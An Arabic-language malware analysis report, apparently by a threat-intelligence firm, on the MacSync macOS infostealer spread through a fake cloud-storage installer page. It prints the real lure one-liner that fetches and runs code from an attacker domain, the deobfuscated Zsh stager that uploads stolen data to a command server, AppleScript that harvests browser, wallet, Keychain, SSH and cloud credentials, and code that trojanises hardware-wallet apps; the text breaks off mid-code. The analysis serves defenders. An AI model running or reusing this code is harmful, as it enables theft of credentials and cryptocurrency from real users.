🚀 لقد رفعت CloudSek جولة B1 من السلسلة B1 بقيمة 19 مليون دولار - تعزيز مستقبل الأمن السيبراني التنبؤي
Back
استخبارات الخصم
Table of Content

ملخص تنفيذي

كشف البحث الروتيني للتهديدات في مجال التصيد الاحتيالي الذي يحاكي صفحة تسجيل الدخول إلى Microsoft (crosoftonline.com/login.srf) عن سلسلة من عمليات إعادة التوجيه التي أدت إلى https://macclouddrive.com/s2/، وهو إغراء متطور على غرار Clickfix يتنكر في هيئة مثبّت شرعي للتخزين السحابي لنظام macOS. أجبرت الصفحة المستخدمين على نسخ ولصق أمر Terminal المخادع، مما أدى إلى إصابة أداة تثبيت معلومات نظام MacSync، وهي أداة منخفضة التكلفة للبرامج الضارة كخدمة (MaaS) مشتقة من الأداة السابقة سارق ماك.

يستخدم MacSync تصميمًا متعدد المراحل يركز على البرامج النصية: يقوم برنامج Zsh stager الخفي باسترداد وتنفيذ حمولة AppleScript عن بُعد التي تجمع بشكل منهجي بيانات اعتماد المتصفح وبيانات محفظة العملات المشفرة ومحتويات Keychain والملفات الحساسة بعد التصيد الاحتيالي لكلمة مرور نظام macOS للضحية من خلال مربعات حوار وهمية متكررة. ولزيادة طول العمر، فإنه يقوم بشكل مشروط بترميز تطبيقات العملات المشفرة القائمة على الإلكترون المستخدمة على نطاق واسع عن طريق الكتابة بشكل انتقائي فوق مكونات الحزمة الهامة (app.asar وInfo.plist)، مع الاستفادة من غياب التحقق من سلامة ASAR القسري وإعادة توقيع التعليمات البرمجية المخصصة.

ميزات البنية التحتية الداعمة ما لا يقل عن ثمانية نطاقات C2 دوارة باتباع نمط تسمية متسق، يرتبط كل منها برموز بناء فريدة. مسارات متعددة المتغيرات (/v1—/v3) على مجال الإغراء الأساسي، جنبًا إلى جنب مع ما لا يقل عن خمسة مواقع استنساخ وثيقة الصلة مشاركة قوالب شبه متطابقة، تشير إلى التطور النشط للحملة وإعادة استخدام البنية التحتية. يقدم هذا التقرير انعكاسًا متعمقًا لسلسلة العدوى الكاملة، بدءًا من تقديم الهندسة الاجتماعية وميكانيكا الحمولة إلى تروجانز القائمة على الإلكترون والتي تتيح كلاً من واجهات التصيد الاحتيالي طويلة المدى والمقنعة للغاية لعبارات الاسترداد وأرقام التعريف الشخصية - معالجة الفجوات في التغطية الحالية وتقديم مؤشرات قابلة للتنفيذ للتسوية جنبًا إلى جنب مع إرشادات الكشف والتخفيف.

مقدمة

أثناء إجراء بحث روتيني حول التهديدات في البنية التحتية للتصيد الاحتيالي، أدت محاولة الوصول إلى crosoftonline.com/login.srf - وهو نطاق مصمم بوضوح لانتحال شخصية صفحة مصادقة Microsoft - إلى سلسلة من عمليات إعادة توجيه HTTP التي وصلت في النهاية إلى https://macclouddrive.com/s2/. برزت صفحة الوجهة على الفور كمثال كتابي لإغراء الهندسة الاجتماعية بأسلوب Clickfix. تم تصميمه ليشبه بوابة تنزيل شرعية لتطبيق التخزين السحابي لنظام macOS، ويحتوي على تعليمات مفصلة تحث المستخدمين على فتح Terminal ولصق الأمر المقدم لإكمال التثبيت. أثار إدراج رسالة مطمئنة تحاكي رابط مثبت App Store الرسمي، جنبًا إلى جنب مع إرشادات خطوة بخطوة حول إطلاق Terminal، شكوكًا فورية.

أصبحت حملات ClickFix واحدة من أكثر آليات التسليم فعالية لتجار المعلومات المستهدفين بنظام macOS في السنوات الأخيرة. من خلال إقناع الضحايا بتنفيذ أوامر shell الخبيثة طواعية، يتخطى المهاجمون تمامًا برنامج Gatekeeper وفحوصات التوثيق والتحقق من التوقيع - وهي إجراءات حماية تجعل التوزيع التقليدي المستند إلى DMG أو PKG أكثر خطورة بكثير. اتبع هذا الإغراء الخاص النمط بدقة: سطر واحد يبدو حميدًا يقوم، عند الفحص الدقيق، بجلب وتنفيذ التعليمات البرمجية عن بُعد من مجال يتحكم فيه المهاجم.

أشار الأمر إلى البنية التحتية المرتبطة بـ MacSync، وهو عامل معلومات تمت ملاحظته لأول مرة كنسخة معدلة ومحسنة من سارق Mac.C السابق الذي تم تطويره تحت الاسم المستعار «mentalpositive». تم تسويق MacSync باعتباره عرضًا ميسور التكلفة للبرامج الضارة كخدمة في المنتديات السرية، وقد اكتسب زخمًا بين الشركات التابعة ذات المستوى الأدنى نظرًا لانخفاض سعره وتصميمه المعياري والتركيز الشديد على البيانات المتعلقة بالعملات المشفرة. على عكس المنافسين البارزين مثل Atomic Stealer (AMOS)، يركز MacSync على التنفيذ المستند إلى البرامج النصية مع الثبات الاختياري من خلال التشغيل التجريبي للتطبيقات المستهدفة، مما يجعله خفيًا بشكل خاص على أنظمة macOS.

يوثق هذا التقرير انعكاسًا فنيًا كاملاً لمتغير الحملة الملحوظ. تم إجراء التحليل من خلال إزالة التشويش اليدوي لحمولة التسليم، والاسترجاع الآمن وتشريح نواة AppleScript عن بُعد، والفحص المتحكم فيه لسلوك التسرب، والفحص التفصيلي لحزم تطبيقات الإلكترون الثلاثية. يتم إيلاء اهتمام خاص لآلية الثبات، وهي منطقة غالبًا ما يتم تجاهلها أو إساءة فهمها في التقارير العامة الحالية والتي تستغل نقاط ضعف محددة في أدوات العملة المشفرة القائمة على الإلكترون السائدة بين مستخدمي macOS. الهدف هو تزويد المدافعين بمرجع نهائي حول هذا التهديد، بما في ذلك المؤشرات القابلة للتنفيذ واستراتيجيات الكشف التي تتجاوز الملاحظات على مستوى السطح.

سلسلة العدوى وطريقة التسليم

تتوقف عملية العدوى على الهندسة الاجتماعية التي تستغل ثقة المستخدم في عمليات سير عمل تثبيت macOS. يتم توجيه الضحايا إلى صفحة الإغراء https://macclouddrive.com/s2/ غالبًا من خلال سلاسل إعادة التوجيه من نطاقات التصيد الاحتيالي أو المخترقة. في هذه الحالة، بدأت السلسلة بـ crosoftonline.com/login.srf ، وهو موقع ينتحل صفحة مصادقة Microsoft.

تم تصميم الصفحة المقصودة بدقة لتظهر كبوابة تنزيل شرعية لأداة التخزين السحابي لنظام macOS. يستخدم واجهة مظلمة وحديثة مع عنوان «التنزيل لنظام macOS» البارز وشارة «الناشر الذي تم التحقق منه» لبناء المصداقية. يستهدف قسم «التثبيت الطرفي» المخصص «المستخدمين المتقدمين»، ويقدم أمرًا واحدًا كبديل مناسب للتنزيلات التقليدية.

توفر الصفحة تعليمات صريحة: افتح Spotlight، وقم بتشغيل Terminal، والصق الأمر، وأدخل كلمة مرور الجهاز عندما يُطلب منك ذلك. يضمن زر «النسخ» الأخضر وضع الحمولة على الفور في الحافظة. يكشف عرض الكود المصدري عن العديد من تعليقات HTML باللغة الروسية، مما يوفر أدلة ظرفية حول خلفية المطور.

كشف تعداد الدليل على المجال عن مسارات متوازية (/v1/، /v2/، /v3/) تستضيف صفحات متطابقة تقريبًا، تختلف بشكل أساسي في النطاق الخلفي والرمز المستخدم - دليل على اختبار الحملة المستمر والتناوب.

الأمر المقدم للضحية هو:

echo "Apple-Installer: https://apps.apple.com/hidenn-gift.application/macOsAppleApicationSetup421415.dmg" && curl -kfsSL $(echo 'aHR0cDovL2ptcGJvd2wueHl6L2N1cmwvODlhMjI5ZjlhNzNjZmZjNjcwODlmMzg4YzZjMTJmM2Y5ZDgwZTdhZTJjMzI3NDVjZDUyMTI0MjFhODljM2U1MA=='|base64 -D)|zsh

تعمل هذه الخطوط الواحدة على النحو التالي:

  • يقوم الارتداد بطباعة عنوان URL لمتجر التطبيقات المصطنع (مع أخطاء مطبعية مثل «hidenn-gift» و «Appication») لطمأنة المستخدم بأن النشاط رسمي.
  • يتم فك ترميز سلسلة base64 المضمنة إلى: http://jmpbowl[.]xyz/curl/89a229f9a73cffc67089f388c6c12f3f9d80e7ae2c32745cd5212421a89c3e50
  • يتم استدعاء curl مع:
    • -k: يتجاوز التحقق من صحة شهادة TLS
    • -f: يفشل بهدوء بسبب أخطاء الخادم
    • -sS: يمنع التقدم ولكنه يظهر الأخطاء
    • -L: يتبع عمليات إعادة التوجيه
  • يتم نقل المحتوى الذي تم تنزيله مباشرة إلى zsh للتنفيذ الفوري.

المرحلة الثانية: اللودر المعطّم

تم استرداد الحمولة من http://jmpbowl[.]xyz/curl/89a229f9a73cffc67089f388c6c12f3f9d80e7ae2c32745cd5212421a89c3e50 (أو الرموز المميزة المماثلة في المتغيرات الأخرى) ليست أداة جمع المعلومات النهائية نفسها، ولكنها أداة تحميل مدمجة وغامضة للمرحلة الثانية مكتوبة بلغة Zsh. الغرض الوحيد من هذا البرنامج النصي هو جلب البيانات وتنفيذها واستخراجها من الحمولة الأساسية الحقيقية، وهي AppleScript عن بُعد مع الحفاظ على خفة الوزن والخفية قدر الإمكان.

الملف الذي تم تنزيله عبارة عن برنامج نصي Zsh قصير يستخدم طريقة تشويش بسيطة ولكنها فعالة:

  • يتم ضغط المنطق الفعلي باستخدام gzip، ثم يتم ترميزه باستخدام base64، ويتم تضمينه كملف heredoc.
  • في وقت التشغيل، يتم فك تشفيرها وفك ضغطها وتنفيذها عبر eval، مما يجعل التحليل الثابت أكثر صعوبة قليلاً ويتجنب الاكتشاف الأساسي المستند إلى التوقيع.

بعد فك الضغط، يتم الكشف عن البرنامج النصي النظيف كدالة واحدة جيدة التنظيم باستخدام daemonization ومنطق اتصال C2. يحدد البرنامج النصي المبهم وظيفة تسمى daemon_function () ويقوم بتشغيلها على الفور في الخلفية:

#!/bin/zsh
daemon_function() {
    exec </dev/null
    exec >/dev/null
    exec 2>/dev/null
    local domain="jmpbowl.xyz"
    local token="70c0ee60591fed92b387ddd77122f3f5e88ae946efdd5eef8aa654cf156ed321"
    local api_key="5190ef1733183a0dc63fb623357f56d6"
    if [ $# -gt 0 ]; then
        curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" -H "api-key: $api_key" "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
    else
        curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" -H "api-key: $api_key" "http://$domain/dynamic?txd=$token" | osascript
    fi
    if [ $? -ne 0 ]; then
        exit 1
    fi
    curl -k -X POST \
         -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
         -H "api-key: $api_key" \
         -H "cl: 0" \
         --max-time 300 \
         -F "file=@/tmp/osalogging.zip" \
         -F "buildtxd=$token" \
         "http://$domain/gate"
    if [ $? -ne 0 ]; then
        exit 1
    fi
    rm -f /tmp/osalogging.zip
}
if daemon_function "$@" & then
    exit 0
else
    exit 1
fi

السلوكيات الرئيسية:

  • شيطنة فورية:
    • يعيد توجيه stdin وstdout وstderr إلى /dev/null.
    • يقوم بتشغيل الوظيفة في الخلفية باستخدام &، ويفصلها عن جلسة Terminal. هذا يضمن استمرار النشاط الضار حتى إذا أغلق المستخدم Terminal.
  • تنفيذ الحمولة الديناميكية:
    • يجلب حمولة AppleScript الحقيقية من http://jmpbowl.xyz/dynamic?txd = <token>.
    • إذا تم استدعاء الوظيفة باستخدام وسيطة (على سبيل المثال، كلمة مرور تم توفيرها مسبقًا)، فإنها تلحق &pwd=$1 بعنوان URL - وهي ميزة من المحتمل استخدامها في الاختبار أو الهجمات المتسلسلة.
    • يستخدم وكيل مستخدم Chrome 91 ثابتًا وقديمًا ومفتاح api مشفرًا للمصادقة.
    • ينقل الاستجابة مباشرة إلى osascript، ويقوم بتنفيذ AppleScript في الذاكرة دون كتابتها على القرص.
  • استخراج:
    • بعد اكتمال AppleScript، يتم تحميل ملف /tmp/osalogging.zip (تم إنشاؤه بواسطة AppleScript) عبر POST متعدد الأجزاء إلى /gate.
    • يتضمن رمز الإنشاء ورأس cl: 0 (ربما يشير إلى نوع العميل أو الإصدار).
    • مهلة 300 ثانية للسماح بأرشيفات كبيرة.
  • تنظيف:
    • يزيل ملف zip الذي تم تسريحه لتقليل آثار الطب الشرعي.

يعد هذا الجهاز بسيطًا بشكل متعمد - وظيفته الوحيدة هي العمل كجسر شيطاني يمكن الاعتماد عليه بين التسوية الأولية ونواة AppleScript عن بُعد والقابلة للتحديث. من خلال الحفاظ على العبء الثقيل على جانب الخادم، يمكن للجهات الفاعلة تعديل أهداف السرقة أو مطالبات التصيد الاحتيالي أو منطق المثابرة بسرعة دون تغيير ناقل التسليم. يسمح استخدام رمز فريد لكل بناء أيضًا بتتبع الضحايا بدقة وتخصيص الحمولة.

يتم تنفيذ آليات سرقة البيانات الفعلية والتصيد الاحتيالي لكلمة المرور والمثابرة بالكامل في AppleScript الذي تم جلبه من /dynamic

تحليل الحمولة الأساسية: أداة تحليل معلومات AppleScript عن بُعد

محرك سرقة البيانات الحقيقي لـ MacSync هو حمولة AppleScript التي تم جلبها من http://jmpbowl.xyz/dynamic?txd = <token> ويتم تنفيذه في الذاكرة بواسطة برنامج Zsh stager باستخدام osascript. يتم تسليم هذه الحمولة كنص عادي غير مضغوط AppleScript وهي معيارية للغاية، وتعتمد على سلسلة من المعالجات المخصصة لإجراء عمليات الملفات واجتياز الدليل وجمع البيانات.

يقوم البرنامج النصي على الفور بإنشاء دليل مرحلي مؤقت في /tmp/تسجيل الدخول ويكتب بيانات التعريف الذاتي لمساعدة المهاجم على تتبع البنيات والضحايا.

تؤكد هذه الأسطر اسم السارق وإصداره وتوافق البنية، مما يجعل الإسناد واضحًا أثناء التحليل الجنائي.

حلقة التصيد الاحتيالي لكلمات المرور

تتمثل الأولوية الأولى للحمولة في الحصول على كلمة مرور تسجيل الدخول إلى macOS للضحية - المفتاح المطلوب لفك تشفير المتصفح وبيانات Keychain دون اتصال بالإنترنت.

  • يتم عرض مربع حوار «تفضيلات النظام» المزيف مع رمز القفل بشكل متكرر.
  • يتم تسمية الزر «» (بالروسية تعني OK).
  • يستخدم معالج checkvalid dscl. authonly للتحقق من كلمة المرور محليًا.
  • تستمر الحلقة حتى يتم إدخال كلمة مرور صالحة.
  • بمجرد الحصول عليها، يتم حفظها بنص عادي باسم «كلمة المرور» - وهو أمر بالغ الأهمية لفك تشفير ما بعد exfil.

هذا التصيد المستمر فعال للغاية لأن العديد من المستخدمين سوف يمتثلون في النهاية لرفض مربع حوار الحظر.

معالجات مساعدة لعمليات الملفات

يحدد البرنامج النصي العديد من وظائف الأداة المساعدة للتعامل مع عمليات الملفات والدليل بأمان:

  • يستخدم filesizer بيانات Spotlight الوصفية للحصول على أحجام ملفات دقيقة.
  • يتم استخدام GrabFolderLimit للمواقع الصاخبة (سطح المكتب والمستندات والتنزيلات) للحد من إجمالي البيانات المسروقة عند 100 ميجابايت تقريبًا، وتجنب الأرشيفات الضخمة.
  • يتم استخدام GrabFolder للأهداف عالية القيمة (مجلدات المحفظة وملفات تعريف المتصفح) بدون قيود على الحجم.
  • تتخطى كلتا الوظيفتين الضوضاء الشائعة مثل ذاكرات التخزين المؤقت والملفات المؤقتة.

سرقة البيانات المستهدفة

بمجرد أن يتم التصيد الاحتيالي لكلمة مرور النظام وتخزينها بنجاح، تنتقل حمولة AppleScript إلى هدفها الأساسي: استخراج البيانات المتعلقة بالعملات المشفرة والغنية ببيانات الاعتماد بشكل منهجي من جهاز الضحية. يتم استهداف السرقة بشكل كبير، مع إعطاء الأولوية للمواقع المعروفة باحتوائها على بذور المحفظة والمفاتيح الخاصة وكلمات المرور المخزنة في المتصفح وغيرها من الأسرار عالية القيمة.

يستخدم البرنامج النصي معالجين رئيسيين للنسخ المتكرر:

  • GrabFolder () للحصول على نسخ كاملة غير مقيدة من الأدلة الهامة.
  • GrabFolderLimit () للنسخ ذات الحجم الأقصى (إجمالي 100 ميجابايت) في المواقع الأكثر ضجيجًا للحفاظ على إدارة الأرشيف النهائي.

ملفات تعريف المتصفح المستندة إلى Chromium:

تستهدف الحمولة بشكل صريح نطاقًا واسعًا من المتصفحات المشتقة من Chromium من خلال تعداد أدلة الدعم القياسية الخاصة بها ضمن ~/Library/Application Support/.

set homePath to (POSIX path of (path to home folder))
set lootPath to "/tmp/osalogging"

-- Google Chrome
set chromePath to homePath & "Library/Application Support/Google/Chrome"
if isDirectory(chromePath) then GrabFolder(chromePath, lootPath & "/Browsers/Chrome")

-- Brave
set bravePath to homePath & "Library/Application Support/BraveSoftware/Brave-Browser"
if isDirectory(bravePath) then GrabFolder(bravePath, lootPath & "/Browsers/Brave")

-- Microsoft Edge
set edgePath to homePath & "Library/Application Support/Microsoft Edge"
if isDirectory(edgePath) then GrabFolder(edgePath, lootPath & "/Browsers/Edge")

-- Opera
set operaPath to homePath & "Library/Application Support/com.operasoftware.Opera"
if isDirectory(operaPath) then GrabFolder(operaPath, lootPath & "/Browsers/Opera")

-- Vivaldi
set vivaldiPath to homePath & "Library/Application Support/Vivaldi"
if isDirectory(vivaldiPath) then GrabFolder(vivaldiPath, lootPath & "/Browsers/Vivaldi")

-- Arc
set arcPath to homePath & "Library/Application Support/Arc"
if isDirectory(arcPath) then GrabFolder(arcPath, lootPath & "/Browsers/Arc")

-- Yandex
set yandexPath to homePath & "Library/Application Support/Yandex/YandexBrowser"
if isDirectory(yandexPath) then GrabFolder(yandexPath, lootPath & "/Browsers/Yandex")

-- Additional browsers follow the same pattern

تستخدم كل مكالمة GrabFolder () لنسخ ملف التعريف بالكامل بشكل متكرر، بما في ذلك:

  • بيانات تسجيل الدخول (قاعدة بيانات SQLite تحتوي على كلمات مرور محفوظة)
  • ملفات تعريف الارتباط (ملفات تعريف الارتباط الخاصة بالجلسة المشفرة)
  • بيانات الويب (معلومات الملء التلقائي)
  • المحفوظات والتفضيلات وتخزين الإضافات

يتم تشفير هذه الملفات باستخدام المفتاح الرئيسي المخزن في Keychain، والذي يمكن للمهاجمين فك تشفيره دون اتصال بالإنترنت باستخدام كلمة مرور النظام المخادعة.

ملحقات متصفح العملات المشفرة

تحتوي الحمولة على قائمة شاملة مشفرة من معرفات ملحقات محفظة web3 الشائعة. وهي تستهدف على وجه التحديد أدلة التخزين المحلية الخاصة بها عبر ملفات تعريف المتصفح المتعددة، حيث تحتوي غالبًا على عبارات أولية أو مفاتيح خاصة أو بيانات محفظة مشفرة.

set extensionList to {
    "nkbihfbeogaeaoehlefnkodbefgpgknn", -- MetaMask
    "bfnaelmomeimhlpmgjnjophhpkkoljpa", -- Phantom
    "fhbohimaelbohpjbbldcngcnapndodjp", -- Binance Wallet
    "hpglfhgfnhgaekcpchabkighjkkpcoel", -- Coinbase Wallet
    "jbdaocneiiinmjbjlgalhcelgbejmnid", -- Nifty Wallet
    "nlbmnnijcnlegkjjpcfjclmcfggfefdm", -- Math Wallet
    "fnjhmkhhmkbjkkabndcnnogagogbneec", -- Ronin Wallet
    "acmacodkjbdgmoleebolmdjonilkdbch", -- Petra Aptos Wallet
    "ejjladinnckdgjemekebdpeokbikhfci", -- Martify
    "odbfpeeihdkbihmopkbjmoonncgnfmki", -- Yoroi
    "ffnbelpacgohhkmgcbabjjdlimohknok", -- Solflare
    "cjelfplplebdjjenllpjcblmjkfcffne", -- Keplr
    "dmkamcknogkgcdfhhbddcghigpehhfne", -- Trust Wallet
    "egjidj
bpglichdcondbcbdnbeeppgdph", -- TezBox
    "aegclgcmcpnpjbjgcadkecobipieijca", -- Terra Station
    "aiifbnbfobpmeekipheeijimdpnlpgpp", -- Tezos Wallet
    "oogfpfmjhkaemefggfgjfeoaeccefhjm", -- BitKeep
    "kncchdigobghenbbaddojjnnaogfppfj", -- iWallet
    "aeachknmefphepccionboohookonhcek", -- Coin98
    "pdadjkfkgcafgbceimcefhgfgnjbpmn", -- OKX Wallet
    "mfgccjchihfkkindfppnaooecgfneiii", -- Exodus Web3 Wallet
    "aholpfdialjgjfhomihkjbmgjidlcdno", -- TronLink
    "ibnejdfjmmkpcnlpebklmnkoeoihofec", -- Tonkeeper
    "nphplpgoakhhjchkkhmiggakijnkhfnd", -- XDEFI Wallet
    "acmhbjkofeedfklnjcegkkepfmidnldk", -- Braavos
    "jnlgamecbpmbajjfhmmmlhejkemejdap", -- Enkrypt
    -- Additional IDs for less common wallets
}

حلقة الاستخراج:

repeat with extID in extensionList
    set extPaths to {
        chromePath & "/Default/Local Extension Settings/" & extID,
        chromePath & "/Profile 1/Local Extension Settings/" & extID, -- Multi-profile support
        bravePath & "/Default/Local Extension Settings/" & extID,
        -- Repeated for other browsers
    }
    
    repeat with extPath in extPaths
        if isDirectory(extPath) then
            GrabFolder(extPath, lootPath & "/Extensions/" & extID)
        end if
    end repeat
end repeat
<SNIP>

تقوم العديد من ملحقات المحفظة بتخزين البيانات الحساسة (بما في ذلك العبارات الأولية المشفرة) في IndexedDB أو LevelDB ضمن هذه المسارات. إلى جانب كلمة المرور المخادع، يمكن للمهاجمين في كثير من الأحيان استعادة المحافظ الكاملة.

محافظ العملات المشفرة لسطح المكتب

تقوم الحمولة بإجراء نسخ متكررة كاملة من أدلة محفظة سطح المكتب المعروفة:

-- Exodus
set exodusPath to homePath & "Library/Application Support/Exodus"
if isDirectory(exodusPath) then GrabFolder(exodusPath, lootPath & "/Wallets/Exodus")

-- Electrum
set electrumPath to homePath & "Library/Application Support/Electrum"
if isDirectory(electrumPath) then GrabFolder(electrumPath, lootPath & "/Wallets/Electrum")

-- Atomic Wallet
set atomicPath to homePath & "Library/Application Support/atomic"
if isDirectory(atomicPath) then GrabFolder(atomicPath, lootPath & "/Wallets/Atomic")

-- Guarda
set guardaPath to homePath & "Library/Application Support/Guarda"
if isDirectory(guardaPath) then GrabFolder(guardaPath, lootPath & "/Wallets/Guarda")

-- Wasabi
set wasabiPath to homePath & "Library/Application Support/Wasabi"
if isDirectory(wasabiPath) then GrabFolder(wasabiPath, lootPath & "/Wallets/Wasabi")

-- Bitcoin Core
set bitcoinPath to homePath & ".bitcoin"
if isDirectory(bitcoinPath) then GrabFolder(bitcoinPath, lootPath & "/Wallets/BitcoinCore")

-- Binance
set binancePath to homePath & "Library/Application Support/Binance"
if isDirectory(binancePath) then GrabFolder(binancePath, lootPath & "/Wallets/Binance")
<snip>
-- TON Keeper
set tonPath to homePath & "Library/Application Support/TON"
if isDirectory(tonPath) then GrabFolder(tonPath, lootPath & "/Wallets/TONKeeper")

تحتوي هذه الأدلة عادةً على ملفات wallet.dat أو النسخ الاحتياطية الأولية أو ملفات تخزين المفاتيح المشفرة - غالبًا ما تكون الأهداف الأكثر قيمة لسرقة العملة المشفرة.

يوضح هذا المستوى من الاستهداف تركيز MacSync الواضح على مستخدمي العملات المشفرة، مما يجعله خطيرًا بشكل خاص على مجتمع تشفير macOS

قواعد بيانات سلسلة المفاتيح

يقوم البرنامج النصي بنسخ دليل Keychain بالكامل مباشرةً:

do shell script "cp -r " & quoted form of (homePath & "/Library/Keychains/") & space & quoted form of (lootPath & "/Keychain/")

يلتقط هذا جميع الملفات المطابقة لـ ~/Library/keychains/*.keychain-DB، بما في ذلك تسجيل الدخول الأساسي.keychain-db. تقوم قواعد بيانات SQLite هذه بتخزين كلمات المرور لشبكات Wi-Fi والتطبيقات ومواقع الويب والشهادات والملاحظات الآمنة. باستخدام كلمة مرور النظام المخادعة، يمكن للمهاجمين فتح واستخراج كل شيء دون اتصال بالإنترنت باستخدام أدوات مثل chainbreaker أو البرامج النصية المخصصة.

ملفات التطوير والتكوين السحابي

-- SSH keys and config
set sshPath to homePath & ".ssh"
if isDirectory(sshPath) then GrabFolder(sshPath, lootPath & "/SSH")

-- AWS credentials
set awsPath to homePath & ".aws"
if isDirectory(awsPath) then GrabFolder(awsPath, lootPath & "/AWS")

-- Kubernetes config
set kubePath to homePath & ".kube"
if isDirectory(kubePath) then GrabFolder(kubePath, lootPath & "/Kubernetes")

<snip>

غالبًا ما تحتوي هذه الأدلة على مفاتيح SSH خاصة (id_rsa و id_ed25519) ومفاتيح وصول AWS (بيانات الاعتماد والتكوين) وتكوينات مجموعة Kubernetes (التكوين). تتيح هذه الملفات الحركة الجانبية أو اختراق الموارد السحابية.

بيانات جلسة تيليجرام

et telegramPath to homePath & "Library/Application Support/Telegram"
if isDirectory(telegramPath) then GrabFolder(telegramPath & "/tdata", lootPath & "/Telegram/tdata")

يخزن مجلد tdata في Telegram ملفات الجلسة النشطة، مما يسمح للمهاجمين باستيراد الجلسة على أجهزتهم الخاصة وانتحال شخصية الضحية دون إعادة المصادقة.

قاعدة بيانات أبل نوتس

set notesPath to homePath & "Library/Group Containers/group.com.apple.notes"
if isDirectory(notesPath) then GrabFolder(notesPath, lootPath & "/AppleNotes")

غالبًا ما تحتوي قاعدة بيانات تطبيق Notes على معلومات حساسة مثل عبارات الاسترداد أو كلمات المرور أو التفاصيل المالية الشخصية المخزنة كملاحظات نصية عادية.

ملتقط الملفات الانتهازي

GrabFolderLimit(homePath & "Desktop", lootPath & "/Files/Desktop")
GrabFolderLimit(homePath & "Documents", lootPath & "/Files/Documents")
GrabFolderLimit(homePath & "Downloads", lootPath & "/Files/Downloads")

بينما تستخدم الشفرة المقدمة GrabFolderLimit بدون تصفية صريحة في المقتطف المرئي، فإن التصميم العام (جنبًا إلى جنب مع قوائم الاستثناءات وتحديد الحجم) يعطي الأولوية للملفات التي من المحتمل أن تحتوي على:

  • المستندات (.pdf، .docx)
  • النسخ الاحتياطية للمحفظة أو ملفات تخزين المفاتيح (.wallet، .json)
  • المفاتيح أو الشهادات الخاصة (.key، .pem، .ovpn)
  • قواعد بيانات كلمات المرور (.kdbx — KeePass)
  • النسخ الاحتياطية للعبارة الأولية (.seed، ملفات النص العادي)

يضمن الحد الأقصى البالغ 100 ميجابايت أن يظل الأرشيف قابلاً للتحميل مع الاستمرار في التقاط الاكتشافات الانتهازية عالية القيمة. وتعكس استراتيجية التجميع الشاملة هذه تركيز MacSync على تعظيم العائد من مستخدمي العملات المشفرة، حيث يمكن أن يؤدي حتى ملف عبارة أولية أو مفتاح خاص يتم تجاهله إلى خسارة مالية كبيرة.

الثبات والتصيد الاحتيالي عبر تطبيقات الإلكترون المحززة

يرفع MacSync حالات العدوى المحددة من سرقة البيانات لمرة واحدة إلى المدى الطويل، الاحتيال الاحتيالي عالي العائد على العملات المشفرة عن طريق تروجين مشروطين لتطبيقين مرافقين لمحفظة الأجهزة الشائعة القائمة على الإلكترون. يتم تنشيط هذه الآلية فقط عندما يتم اكتشاف التطبيقات الشرعية في /Applications/، مما يضمن أنها تظل صامتة على الأنظمة غير المستهدفة أثناء تحويل البرامج الموثوقة إلى منصات هجوم مستمرة على الأجهزة التابعة لمستخدمي العملة المشفرة.

يتم تنفيذ أحصنة طروادة بالكامل بواسطة حمولة AppleScript بعد جمع البيانات الأولية، باستخدام أوامر shell المباشرة لتنزيل الحزم الضارة، ومعالجة أدلة التطبيق، وتطبيق الحد الأدنى من التغييرات في توقيع التعليمات البرمجية.

الكشف والتنفيذ المشروط

يبدأ البرنامج النصي بفحوصات بسيطة للوجود:

-- Ledger Wallet.app
try
    do shell script "test -d /Applications/Ledger Wallet.app"
    set ledger_installed to true
on error
    set ledger_installed to false
end try

-- Trezor Suite.app
try
    do shell script "test -d /Applications/Trezor Suite.app"
    set trezor_installed to true
on error
    set trezor_installed to false
end try

يستهدف هذا المنطق الشرطي الأنظمة التي تحتوي على برامج محفظة الأجهزة المثبتة فقط، مما يزيد من التأثير مع تقليل مخاطر الاكتشاف على الأجهزة غير ذات الصلة. عندما يكون تطبيق Ledger موجودًا، تستخدم الحمولة تقنية استبدال جزئية معقدة للحفاظ على التخفي والوظائف:

if ledger_installed then
    try
        -- Download malicious ZIP containing only modified files
        do shell script "curl -k ... 'https://jmpbowl.xyz/ledger/<token>' -o /tmp/<token>.zip"
        do shell script "unzip -q -o /tmp/<token>.zip -d /tmp"

        -- Backup legitimate app
        do shell script "cp -rf /Applications/Ledger Wallet.app /tmp/Ledger Wallet.app.backup"
        do shell script "rm -rf /Applications/Ledger Wallet.app"
        do shell script "mv /tmp/Ledger Wallet.app.backup /Applications/Ledger Wallet.app"

        -- Overwrite only critical malicious components
        do shell script "mv /tmp/app.asar /Applications/Ledger Wallet.app/Contents/Resources/app.asar"
        do shell script "mv /tmp/Info.plist /Applications/Ledger Wallet.app/Contents/Info.plist"

        -- Apply ad-hoc signing to bypass basic checks
        do shell script "codesign -f -d -s - /Applications/Ledger Wallet.app"
    end try
end if
  • يحتوي الأرشيف الذي تم تنزيله فقط على app.asar (حزمة كود الإلكترون الرئيسية) وقائمة Info.plist المعدلة.
  • يتم نسخ التطبيق الشرعي احتياطيًا وحذفه واستعادته بالكامل - مع الحفاظ على الرموز والموارد ومعظم الوظائف.
  • يتم استبدال أرشيف التعليمات البرمجية الأساسية والبيانات الوصفية فقط، مما يسمح للتطبيق بالظهور والتصرف بشكل طبيعي حتى يتم تنشيط المشغلات الضارة.
  • تم تضمين تجزئة تكامل ASAR المزيفة في Info.plist الجديد، ولكن نظرًا لأن العديد من تطبيقات Electron (بما في ذلك الإصدارات الشرعية) لا تفرض هذه الميزة الاختيارية، فلا يحدث أي عطل.
  • يؤدي التوقيع المخصص إلى إزالة التوقيع الأصلي وتطبيق توقيع مجهول، مما يؤدي إلى تجنب حظر Gatekeeper الفوري.

بديل كامل لـ تريزور سويت.app

يتمثل نهج Trezor Suite في استبدال الحزمة بشكل مباشر وكامل:

if trezor_installed then
    try
        -- Terminate running processes
        do shell script "killall -9 'Trezor Suite'"

        -- Download full malicious application bundle
        do shell script "curl -k ... 'https://jmpbowl.xyz/trezor/<token>' -o /tmp/<token>.zip"
        do shell script "unzip -q -o /tmp/<token>.zip -d /tmp"

        -- Replace legitimate app entirely
        do shell script "rm -rf /Applications/Trezor Suite.app"
